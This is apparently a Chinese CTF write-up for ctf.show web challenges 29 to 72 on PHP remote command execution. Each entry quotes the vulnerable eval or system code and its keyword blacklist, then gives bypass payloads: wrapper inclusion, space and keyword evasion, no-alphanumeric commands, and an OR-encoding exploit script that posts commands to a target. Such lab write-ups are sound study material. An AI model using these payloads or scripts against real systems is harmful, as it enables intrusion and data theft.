Web-29

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

/i是不区分大小写,这里的意思是只要我们的代码里面没有字符串flag就会把我们的变量c的内容当php代码来执行

http://99bab897-f7c6-465e-9c5f-9341cf9adc3d.challenge.ctf.show/?c=system('ls');

然后显示flag.php index.php

所以我们只要获取当前目录的flag.php即可,但是flag被屏蔽了,所以我们可以用glob匹配

1
http://99bab897-f7c6-465e-9c5f-9341cf9adc3d.challenge.ctf.show/?c=system('cat f*');

即可获得flag

Web-30

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

可以看到system被屏蔽了,所以可以用echo命令代替

1
http://124af641-24df-44f8-9a6a-b5fa7bb299b8.challenge.ctf.show/?c=echo `ls`;

然后在获取flag.php里的内容

1
http://124af641-24df-44f8-9a6a-b5fa7bb299b8.challenge.ctf.show/?c=echo `cat f*`;

此外,还可以用passthru来代替system执行系统命令:

1
?c=passthru("cat f*");

即可获得flag

更多执行系统命令的函数可以看这里

https://www.php.cn/php-weizijiaocheng-298828.html

Web-31

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

这次屏蔽了字符,可以用php伪协议的方法来输出

1
http://5df75460-f7fc-4f03-b1c2-a3b83a45c7ba.challenge.ctf.show/?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

再base64解码后,就可以看到flag了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-04 00:49:19
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-04 00:49:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

$flag="ctfshow{fa27cf79-0972-458c-9469-6e17b0f17de0}";

还有一种方法就是和之前一样了

1
2
http://5df75460-f7fc-4f03-b1c2-a3b83a45c7ba.challenge.ctf.show/?c=echo%09`ls`;
http://5df75460-f7fc-4f03-b1c2-a3b83a45c7ba.challenge.ctf.show/?c=echo%09`tac%09f*`;

由于在php环境下,%09可以绕过空格,然后tac是用来绕过cat的

Web-32

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

过滤了flag,system,php,cat,sort,shell,echo,分号,空格,单引号,括号,空格,`,.

本来想这么做的?c=eval($_GET["a"]);&a=system('ls');

然后发现括号被过滤了,所以我们用文件包含来写

1
?c=include$_GET["a"]?>&a=php://filter/convert.base64-encode/resource=flag.php

Web-33

1
2
3
4
5
6
7
8
9
10
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

和上一题相比多屏蔽了一个双引号,那么换汤不换药, 依然使用上个payload就ok了

1
?c=include$_GET[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web-34

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

多屏蔽了一个冒号,继续一样的payload就ok

不过这次换了一个协议来构造payload

1
?c=include$_GET[1]?>&1=data://text/plain,<?php system("cat flag.php"); ?>

Web-35

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){ 

这次狠了,多屏蔽了一个尖括号,额但是是左括号

所以相同的payload相同的结局……

Web-36

1
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){ 

这次多屏蔽了数字

但是终究没啥区别

Web-37

1
2
3
4
5
6
7
8
9
10
11
12
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

这里我们的代码被直接文件包含了,但是上几题我们的payload其实也就是利用了文件包含,所以相当于省去了include那一步

我们可以用data协议:(这里屏蔽了flag,所以用问号来绕过)

1
?c=data://text/plain,<?php system("tac fla?.php");?>

Web-38

1
2
3
4
5
6
7
8
9
10
11
12
13
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;

}

}else{
highlight_file(__FILE__);
}

依然是直接文件包含,但是多屏蔽了php和file

所以data协议乱杀(

1
?c=data://text/plain,<?php system("tac fl*");?>

额然后我这么构造发现自己sb了,这里面不还是有php么(雾

所以得改成php标签

1
?c=data://text/plain,<?= system("tac fl*");?>

Web-39

1
2
3
4
5
6
7
8
9
10
11
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}

}else{
highlight_file(__FILE__);
}

依然是data协议,后面那个.php不用管他,因为我们前面的php语句已经闭合,后面的.php会被当成字符串被直接显示到页面上

1
http://a1959917-0cc2-49e8-a63e-6fc1db0a8f58.challenge.ctf.show/?c=data://text/plain,<?=system('cat f*');?>

1668434520194

实际上我们如果这样构造payload

1
?c=data://text/plain,<?=system('cat f*');?>111

1668434566133

111也会显示到屏幕上

Web-40

1
2
3
4
5
6
7
8
9
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}

}else{
highlight_file(__FILE__);
}

屏蔽了一堆的符号和数字

指的一提的是这里的括号是中文括号……

利用session

利用session_id()让php读取我们设置的cookie(session里默认不使用,所以我们得用session_start()来让php开始使用session,但是要注意php5.5以下和php7.1以上是无法写入除了0-9a-zA-Z或-以外的字符的

1
?c=session_start();system(session_id());

此时我们把cookie改成ls

1668933266580

可以看到成功执行了,但是由于版本限制,我们这里只能做到这里了

无参数RCE

既然没过滤括号,那我们就利用无参数来读文件

1
/?c=print_r(scandir(pos(localeconv())));

1668937743799

我们需要的是倒数第2个,所以可以先逆序再next函数

1
/?c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));

Web-41

1
2
3
4
5
6
7
8
9
if(isset($_POST['c'])){
    $c $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'$c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

这次的c需要我们post进去了,而且屏蔽了数字,字母和一些符号,异或^和与操作&都被屏蔽了,但是特意给我们留了一个|运算符

好的这道题没拿下来……贴一下yu22x大佬的脚本:

首先是一个用or操作生成字符的php脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {

if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}

else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}

}
}
fwrite($myfile,$contents);
fclose($myfile);

简单来说,这个脚本的目的就是用未被preg_match函数匹配的字符来进行或操作,从而生成我们需要的字符

rce_or.txt的内容大致就是这样的:

1669105659028

然后,接下来的python脚本的作用就是,你输入你的函数和操作,他会给你转化成两个字符的或然后post到网站来获取flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
import requests
import urllib
from sys import *
import os

#os.system("php rce_or.php") # 没有将php写入环境变量需手动运行
if (len(argv) != 2):
print("=" * 50)
print('USER:python exp.py <url>')
print("eg: python exp.py http://ctf.show/")
print("=" * 50)
exit(0)
url = argv[1]


def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("rce_or.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return (output)


while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:"))
data = {
'c': urllib.parse.unquote(param)
}
r = requests.post(url, data=data)
print("\n[*] result:\n" + r.text)

1669105786729

这个就是python脚本运行时的效果了

Web-42

1
2
3
4
5
6
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

这下盲区了,学习一下

https://www.cnblogs.com/kexianting/p/11630085.html

1669109531432

所以,相当于我们的命令都丢失了,其实和命令前面一个#有相似的作用,所以猜测只要在命令后面加个换行就可以了

1
2
/?c=ls%0a;
/?c=tac flag.php%0a;

发现还真可以,网上有另一种双写绕过的方法,这样绕过的话,前一个分号能逃出去,后面的分号会掉进黑洞

1
/?c=ls;ls

额,但是实话实话,我试的时候发现,只要/?c=ls;就行了,也合理,毕竟;就让命令结束了

另一种双写绕过的形式我感觉倒更像是双写绕过:

1
?c=ls&&ls

但是这个&&得url编码

1
?c=ls%26%26ls

Web-43

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

额,和上一题相比就是屏蔽了一些,用上一题最后那个payload就ok

1
2
?c=ls%26%26ls
?c=tac flag.php%26%26ls

Web-44

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

换汤不换药

1
?c=tac f*%26%26ls

Web-45

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

多屏蔽了个空格,换汤不换药

1
?c=tac%09f*%26%26ls

Web-46

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

屏蔽了数字!但是,%09这种是url编码,传过去之后以及被url解码了,所以没啥影响,至于*被屏蔽用?就ok了

1
?c=tac%09f???.???%26%26ls

Web-47

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

屏蔽了很多代替cat的方法,但是我的tac还是依然坚挺

1
?c=tac%09f???.???%26%26ls

所以这个payload还是能用

Web-48

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

又屏蔽了这么多……

但是tac还是能逃过一劫还是有点离谱

所以payload你懂的(

1
?c=tac%09f???.???%26%26ls

Web-49

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

你应该知道我要说什么————通杀!

1
?c=tac%09f???.???%26%26ls

Web-50

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

屏蔽了/x26,意味着我们的%26寄了

但是无所谓,%0a会出手!

屏蔽了/x09,意味着我们的%0a也寄了

但是无所谓,<会出手!

然后payload一直过不了……百度了一下发现?用不了,不知道为什么,这里也没说?被屏蔽啊,无奈只能用两个单引号来绕过了

总之payload就是这样:

1
?c=tac<fl''ag.php%0a

Web-51

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

tac倒了(

观察一下,nl没被屏蔽,那就稍微改改:

1
?c=nl<fl''ag.php%0a

Web-52

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

这次>和<也寄了,但是$被放出来了

那就这么构造:

1
?c=nl${IFS}fl''ag.php%0a

1669525696714

然后发现被骗了,去根目录看看吧

1
?c=ls${IFS}/%0a

然后发现根目录下面也有一个flag

1
?c=nl${IFS}/fl''ag%0a

Web-53

1
2
3
4
5
6
7
8
9
10
11
12
13

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i"$c)){
        echo($c);
        $d system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

这次终于不是黑洞了(

代码看起来有点怪,但是问题不大

1
?c=nl${IFS}fl""ag.php

Web-54

1
2
3
4
5
6
7
8
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

cat,flag,more等中间不能穿插字符来绕过了,但是xxd没被屏蔽,还可以用rev和paste

1
?c=rev${IFS}f?ag.php

把得到的字符串倒序就行

Web-55

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

字母寄完了,但是查看文件的命令有base64

所以可以

1
?c=/???/????64 ????.???

还可以用bzip2,压缩flag.php,然后进行下载

1
?c=/???/???/????2 ????.???

之后在访问/flag.php.bz2进行下载

Web-56

1
2
3
4
5
6
7
8
9
// 你们在炫技吗?
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i"$c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

无字母数字的rce

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html

https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

p神博客其实讲的很清楚了

我们上传文件时,PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母,所以我们可以用/???/????????[@-[]来匹配我们上传的临时文件。虽然最后一位不一定是大写,但是多试几次就ok了其实

所以我们的思路就是,往这个网页上传文件,让网页执行这个临时文件,就ok了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>upload-POC</title>
</head>
<body>
<form action="http://dae549e2-90bc-4be2-a652-f3ceed6e0035.challenge.ctf.show/" method="post" enctype="multipart/form-data">
<label for="file">filename:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>

在本地跑一下,上传一个txt文件,同时抓包,在bp里修改参数c和txt文件即可:

1669647685129

1669647721576

成功获得flag!

Web-57

1
2
3
4
5
6
7
8
9
10
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i"$c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

又是无数字字母rce,而且这次.也被屏蔽了

这里注意到$这次没被屏蔽

然而注意到了我也还是不会,没办法,去学吧!

${_}:代表上一次命令执行的结果
$(()): 做运算

众所周知,对 a 按位取反,则得到的结果为 -(a+1)

$((""))值为0,因为里面的双引号为空,所以运算结果自然是0啦

$((~$((""))))值为-1,因为是做对0取反,所以结果就是-1

所以,可以进行拼接,如-2其实就是-1-1=-2

img

所以我们可以这样不断拼接出-37,-37取反就可以得到36:

img

嗯……学到了新的绕过数字的姿势,只能说很神奇(

所以最后的payload是:

1
?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))

emmm好好好炫不动了

Web-58

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

乍一眼看上去以为是只要post传入c为随意一个命令就可以被执行,发现并不是,比如system好像就被屏蔽了

显示system() has been disabled for security reasons

说明php.ini里禁用了执行系统外部命令函数,可以用php的内置函数来读取文件

1
print_r(glob("*"));

可以读取当前目录

1
c=highlight_file("flag.php");

读取flag.php里的源码

除了这个做法以外,还可以用文件包含:

1
c=include$_POST[1]?>&1=php://filter/convert.base64-encode/resource=flag.php

Web-59

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

不知道做了啥过滤,先用上一题的payload试试呗

1
c=print_r(glob("*"));
1
c=highlight_file("flag.php");

额然后就出来了……

Web-60

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

额和前两题一样,不知道具体有什么区别……

Web-61~65

同上

Web-66

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

终于:

1669714537671

在根目录找找吧:

1
c=print_r(scandir("/"));

发现有个flag.txt

1
c=highlight_file("/flag.txt");

ok

Web-67

1
2
3
4
5
6
7
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c$_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}
1
c=print_r(glob("*"));

这次print_r函数也被拦了,但是有平替

1
c=var_dump(scandir("/"));

还是flag.txt

1
c=highlight_file("/flag.txt");

Web-68

Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19

一进去就报错这个,猜测源码应该和之前一样,只是highlilght_file被禁用所以没法显示出来

1
c=var_dump(scandir("/"));

发现回显还是正常的:

1669715061733

1
c=include("/flag.txt");

出flag

Web-69

和上一题比起来,这次var_dump也被屏蔽了

这里我也没辙了,百度了一下wp,发现可以用echo变量的方法:

1
c=$a=(scandir("/"));echo $a[6];

不得不说确实没想到

然后后面还是愉快的include即可:

1
c=include("/flag.txt");

Web-70

1669716069093

好家伙我直呼好家伙

但是无所谓,上一题的payload会出手!

Web-71

这次给了index.php:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}

?>

可以看到在eval($c)后面,读取的文件内容会进入缓冲区存进变量s中,关闭缓冲区,然后再用echo输出s中的内容(数字字母被替换成?)所以我们只需要用exit(0)或者die()直接结束程序不执行后面代码即可

1
2
ob_get_contents — 返回输出缓冲区的内容
ob_end_clean — 清空(擦除)缓冲区并关闭输出缓冲

所以我们的payload可以变化成:

1
2
3
c=$a=(scandir("/"));echo $a[6];exit(0);
//或者也可以c=var_export(scandir("/"));die();
c=include("/flag.txt");exit(0);

Web-72

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>

这次scandir被ban了